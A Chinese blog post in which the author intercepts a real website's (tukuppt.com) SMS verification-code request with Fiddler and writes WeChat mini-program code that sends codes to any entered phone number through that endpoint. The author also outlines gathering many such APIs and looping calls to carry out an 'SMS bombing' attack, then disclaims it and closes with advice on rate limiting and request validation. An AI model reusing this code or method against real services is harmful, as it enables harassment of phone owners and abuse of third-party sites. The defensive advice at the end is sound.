前言
聲明:此篇文章純屬工作之餘一次娛樂過程的記錄,如有任何不正當行爲與言論請聯繫博主刪除文章,一切皆屬無意。
博主在開發微信小程序時寫到短信驗證碼模塊,發現驗證碼獲取程度及其容易,遂聯想到曾經被別人短信轟炸(當時尚年幼無知,稱其爲外掛哈哈),突發奇想,若我擁有足夠多的接口,然後不停發起請求,豈不就可以實現簡單的短信轟炸。心血來潮,於是:
準備工作
抓包工具Fiddler
尋找api接口
因從自己項目出發進行的思考,或許很多網站的註冊功能的短信驗證碼模塊並不會有太多的獲取難度(你覺得我會說是我感覺到我的接口安全係數低纔有這樣的想法麼),於是就隨便進行了百度。我很快鎖定了一個網站,熊貓辦公。觀察下它的短信驗證碼獲取難度,眼看簡直就是0,輸入手機號就可以獲取的樣子。ok開始吧,打開抓包工具Fiddler。
在網站中隨便輸入手機號並點擊獲取短信驗證碼,然後在Fiddler中查看該操作產生的數據包,oh my gad,我們從圖中可以看到,我們僅僅在body中發送一條phone字段的數據就可以成功獲得返回值。不出我所望,其獲取難度果然爲0。
好吧,讓我們拿一下這個包的接口然後做一下嘗試吧。
嘗試調用接口
道理來講,任何後臺語言都可以輕鬆向其發送請求。博主在這裏使的小程序來進行操作。
wxml (輸入框+按鈕)
<view class="account">
<view class="title">
<text style="color:#FF6C0A;">*</text>手機號</view>
<view class="num">
<input bindinput="mobileBlur" type='number' placeholder="請輸入手機號" placeholder-style="color:#999999;" />
</view>
</view>
<button class="btn" type="primary" bindtap="getQuota">提交申請</button>
JS
Page({
//獲取手機號,輸入框輸入時執行
mobileBlur: function(e) {
this.data.Mobile = e.detail.value;
},
//提交按鈕綁定的函數,點擊按鈕執行
getQuota: function() {
this.tukuppt()
},
//熊貓辦公 https://www.tukuppt.com/
//請求函數
tukuppt: function(){
wx.request({
url: 'https://www.tukuppt.com/index/phone/sendphonecode', //請求接口
data: {
phone: this.data.Mobile //請求參數
},
header: {
'content-type': 'application/json'
},
method: "POST", //請求方式
success(res) { //res爲返回的參數
console.log(res);
if (res.data.status == 1) {
console.log('success')
} else {
console.log(res)
}
},
fail(error) {
wx.showModel('請求失敗', error);
console.log('request fail', error);
}
})
},
})
輸入手機號並點擊按鈕試一試吧
結果
博主有話說
如此成功了1個api了,如果我們花些時間去尋找到更多,是不是就可以實現短信轟炸攻擊了,然後寫個for循環,不停調用,瘋狂轟炸,咳咳,當然,博主不是在這裏教大家如何去做這種不道德的事。
經博主發現,很多做的比較好的網站是不會僅僅將手機號作爲唯一參數上傳的,包含ip地址、時間、專用的憑證等等,而且大多數都會做多次發送監控,以及控制手機號發送次數與時間。
我們在寫該模塊時也可以從這些角度入手,防止api被濫用惡意調用,進而造成或經濟或數據上的損失。